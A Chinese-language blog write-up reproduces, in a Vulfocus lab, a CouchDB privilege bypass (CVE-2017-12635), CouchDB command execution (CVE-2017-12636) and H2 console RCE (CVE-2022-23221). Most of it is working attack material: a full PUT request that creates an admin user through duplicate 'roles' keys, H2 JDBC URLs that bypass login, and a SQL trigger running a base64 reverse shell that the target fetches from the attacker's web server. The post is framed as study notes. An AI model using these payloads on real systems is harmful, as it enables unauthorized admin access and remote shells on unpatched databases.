Couchdb-許可權繞過--命令執行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令執行--(CVE-2022-23221)

了了青山見發表於2023-09-21

Couchdb-許可權繞過--命令執行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令執行--(CVE-2022-23221)

環境概述

採用Vulfocus靶場環境進行復現,搭建操作和文章參考具體搭建教程參考vulfocus不能同步的解決方法/vulfocus同步失敗

Couchdb CVE-2017-12635許可權繞過

漏洞概述

Apache CouchDB是一個開源資料庫,專注於易用性和成為"完全擁抱web的資料庫"。它是一個使用JSON作為儲存格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL資料庫。應用廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程式)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。

預設埠

5984埠

影響範圍

小於 1.7.0 以及 小於 2.1.1

漏洞復現

將Vulfocus靶場環境啟動後,根據對映埠號進行訪問
在這裡插入圖片描述
訪問成功後顯示出版本號
在這裡插入圖片描述
訪問登入介面抓包進行測試
訪問地址

/_utils/#login

在這裡插入圖片描述
抓包將請求方法修改為PUT方法,在請求資料包後面新增json資料
POC

PUT /_users/org.couchdb.user:hack HTTP/1.1
Host: IP地址加埠
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "hack",
  "roles": ["_admin"],
  "roles": [],
  "password": "hack"
}

對應位置修改想要建立的使用者及密碼即可
在這裡插入圖片描述
使用建立的使用者名稱和密碼嘗試登入,成功登入即漏洞利用成功

Couchdb CVE-2017-12636 命令執行

預設埠

5984埠

影響範圍

小於 1.7.0 以及 小於 2.1.1

漏洞利用

這個漏洞利用需要建立在具有使用者許可權之上,可以利用CVE-2017-12635漏洞新增資料庫使用者後進行命令執行

環境啟動後直接下載EXP,修改EXP的目標地址的埠號以及目標資料庫版本即可
下載地址參考 CVE-2017-12636/exp.py
將EXP中所執行的命令目標以及資料庫版本修改即可
在這裡插入圖片描述

H2database CVE-2022-23221 命令執行

漏洞概述

Java SQL 資料庫 H2,H2的主要特點是:非常快,開源,JDBC API;嵌入式和伺服器模式;記憶體資料庫;基於瀏覽器的控制檯應用程式。H2 資料庫控制檯中的另一個未經身份驗證的 RCE 漏洞,在v2.1.210+中修復。2.1.210 之前的H2控制檯允許遠端攻擊者透過包含子字串的jdbc:h2:mem JDBC URL執行任意程式碼。

影響範圍

Spring Boot + H2

spring.h2.console.enabled=true

JDK < 6u201、7u191、8u182、11.0.1(LDAP)

預設埠

20051埠

漏洞利用

環境啟動後訪問得到如下介面
在這裡插入圖片描述

  1. 未授權進入:
  • 將如下命令放入JDBC URL即可直接進入資料庫
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
  1. 命令執行
  • 首先建立sql檔案,將sql檔案放入伺服器中,這裡我使用python啟用web服務,將sql檔案放入家目錄中
CREATE TABLE test (
     id INT NOT NULL
 );
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反彈shell指令}|{base64,-d}|{bash,-i}");';
  • 啟用web服務
python3 -m http.server 埠
  • 使目標資料庫載入遠端sql檔案
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:埠/h2database.sql';\

以上內容僅作學習記錄,如有錯誤或瑕疵,歡迎批評指正,感謝閱讀。

相關文章